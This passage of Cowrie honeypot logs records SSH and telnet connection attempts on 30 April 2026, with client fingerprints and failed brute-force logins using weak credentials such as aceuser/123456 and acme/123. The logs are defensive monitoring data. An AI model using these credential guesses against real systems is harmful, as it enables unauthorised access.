","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:45.439567Z","src_ip":"159.203.92.129","session":"0c59e11b524e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aceuser","password":"123456","message":"login attempt [aceuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:45.450911Z","src_ip":"159.203.92.129","session":"0c59e11b524e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:46.460892Z","src_ip":"159.203.92.129","session":"0c59e11b524e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.111.245.161","src_port":44534,"dst_ip":"159.203.135.109","dst_port":23,"session":"53c2310dfa38","protocol":"telnet","message":"New connection: 95.111.245.161:44534 (159.203.135.109:23) [session: 53c2310dfa38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:53:54.282710Z"}
{"eventid":"cowrie.session.closed","duration":30.795491695404053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:25.078064Z","src_ip":"95.111.245.161","session":"53c2310dfa38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.80.4.49","src_port":38166,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0cae783ab8e","protocol":"ssh","message":"New connection: 98.80.4.49:38166 (159.203.135.109:22) [session: b0cae783ab8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:26.898487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.9.2","message":"Remote SSH version: SSH-2.0-paramiko_2.9.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:26.905844Z","src_ip":"98.80.4.49","session":"b0cae783ab8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"d6729b7f24428169e981ad4840063ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: d6729b7f24428169e981ad4840063ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:26.915691Z","src_ip":"98.80.4.49","session":"b0cae783ab8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:27.046371Z","src_ip":"98.80.4.49","session":"b0cae783ab8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42828,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bea9a4b72c4","protocol":"ssh","message":"New connection: 159.203.92.129:42828 (159.203.135.109:22) [session: 9bea9a4b72c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:30.082925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:30.091500Z","src_ip":"159.203.92.129","session":"9bea9a4b72c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:30.100646Z","src_ip":"159.203.92.129","session":"9bea9a4b72c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aceuser","password":"aceuser","message":"login attempt [aceuser/aceuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:30.117651Z","src_ip":"159.203.92.129","session":"9bea9a4b72c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:31.125758Z","src_ip":"159.203.92.129","session":"9bea9a4b72c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00950813293457,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:40.107935Z","src_ip":"70.65.190.120","session":"eaf314eb9d0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":37548,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9609cfb4712","protocol":"telnet","message":"New connection: 70.65.190.120:37548 (10.17.0.5:23) [session: c9609cfb4712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:40.386213Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.58.175.78","src_port":36784,"dst_ip":"159.203.135.109","dst_port":23,"session":"736a5625f104","protocol":"telnet","message":"New connection: 207.58.175.78:36784 (159.203.135.109:23) [session: 736a5625f104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:41.131280Z"}
{"eventid":"cowrie.session.closed","duration":120.00683093070984,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:46.551732Z","src_ip":"70.65.190.120","session":"ccc35aa922cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":37556,"dst_ip":"10.17.0.5","dst_port":23,"session":"34d6748ffb58","protocol":"telnet","message":"New connection: 70.65.190.120:37556 (10.17.0.5:23) [session: 34d6748ffb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:54:46.868026Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.58.175.78","src_port":35112,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda184dc8756","protocol":"telnet","message":"New connection: 207.58.175.78:35112 (159.203.135.109:23) [session: fda184dc8756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:04.121808Z"}
{"eventid":"cowrie.session.closed","duration":30.921682119369507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:12.052855Z","src_ip":"207.58.175.78","session":"736a5625f104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46356,"dst_ip":"159.203.135.109","dst_port":22,"session":"9857506f6db8","protocol":"ssh","message":"New connection: 159.203.92.129:46356 (159.203.135.109:22) [session: 9857506f6db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:15.250208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:15.259339Z","src_ip":"159.203.92.129","session":"9857506f6db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:15.264675Z","src_ip":"159.203.92.129","session":"9857506f6db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aceuser","password":"aceuser123","message":"login attempt [aceuser/aceuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:15.279208Z","src_ip":"159.203.92.129","session":"9857506f6db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:16.286724Z","src_ip":"159.203.92.129","session":"9857506f6db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.108.65.204","src_port":46896,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b0ff47d6194","protocol":"telnet","message":"New connection: 65.108.65.204:46896 (159.203.135.109:23) [session: 6b0ff47d6194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:28.548077Z"}
{"eventid":"cowrie.session.closed","duration":30.94050621986389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:35.062184Z","src_ip":"207.58.175.78","session":"fda184dc8756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.243.87","src_port":59652,"dst_ip":"159.203.135.109","dst_port":23,"session":"609b0f0b70bf","protocol":"telnet","message":"New connection: 91.92.243.87:59652 (159.203.135.109:23) [session: 609b0f0b70bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:54.896409Z"}
{"eventid":"cowrie.session.closed","duration":30.54006838798523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:55:59.088035Z","src_ip":"65.108.65.204","session":"6b0ff47d6194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35672,"dst_ip":"159.203.135.109","dst_port":22,"session":"82865e11009a","protocol":"ssh","message":"New connection: 159.203.92.129:35672 (159.203.135.109:22) [session: 82865e11009a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:00.012837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:00.027747Z","src_ip":"159.203.92.129","session":"82865e11009a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:00.032243Z","src_ip":"159.203.92.129","session":"82865e11009a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acme","password":"123","message":"login attempt [acme/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:00.128403Z","src_ip":"159.203.92.129","session":"82865e11009a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:01.140062Z","src_ip":"159.203.92.129","session":"82865e11009a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.243.87","src_port":54352,"dst_ip":"159.203.135.109","dst_port":23,"session":"59b5d5b352c2","protocol":"telnet","message":"New connection: 91.92.243.87:54352 (159.203.135.109:23) [session: 59b5d5b352c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:11.335390Z"}
{"eventid":"cowrie.session.closed","duration":30.182227611541748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:25.078500Z","src_ip":"91.92.243.87","session":"609b0f0b70bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00213575363159,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:40.388211Z","src_ip":"70.65.190.120","session":"c9609cfb4712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736915349960327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:42.072196Z","src_ip":"91.92.243.87","session":"59b5d5b352c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51674,"dst_ip":"159.203.135.109","dst_port":22,"session":"b46b928a9c1f","protocol":"ssh","message":"New connection: 159.203.92.129:51674 (159.203.135.109:22) [session: b46b928a9c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:45.199111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:45.202913Z","src_ip":"159.203.92.129","session":"b46b928a9c1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:45.207503Z","src_ip":"159.203.92.129","session":"b46b928a9c1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acme","password":"123456","message":"login attempt [acme/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:45.220948Z","src_ip":"159.203.92.129","session":"b46b928a9c1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:46.282207Z","src_ip":"159.203.92.129","session":"b46b928a9c1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00184440612793,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:46.869743Z","src_ip":"70.65.190.120","session":"34d6748ffb58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"70.65.190.120","src_port":44738,"dst_ip":"10.17.0.5","dst_port":23,"session":"20bed861fe5a","protocol":"telnet","message":"New connection: 70.65.190.120:44738 (10.17.0.5:23) [session: 20bed861fe5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:48.276263Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.135.11.52","src_port":43460,"dst_ip":"10.17.0.5","dst_port":22,"session":"385a297b9204","protocol":"ssh","message":"New connection: 183.135.11.52:43460 (10.17.0.5:22) [session: 385a297b9204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:50.574650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:50.579486Z","src_ip":"183.135.11.52","session":"385a297b9204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:56:50.813141Z","src_ip":"183.135.11.52","session":"385a297b9204","protocol":"ssh"}
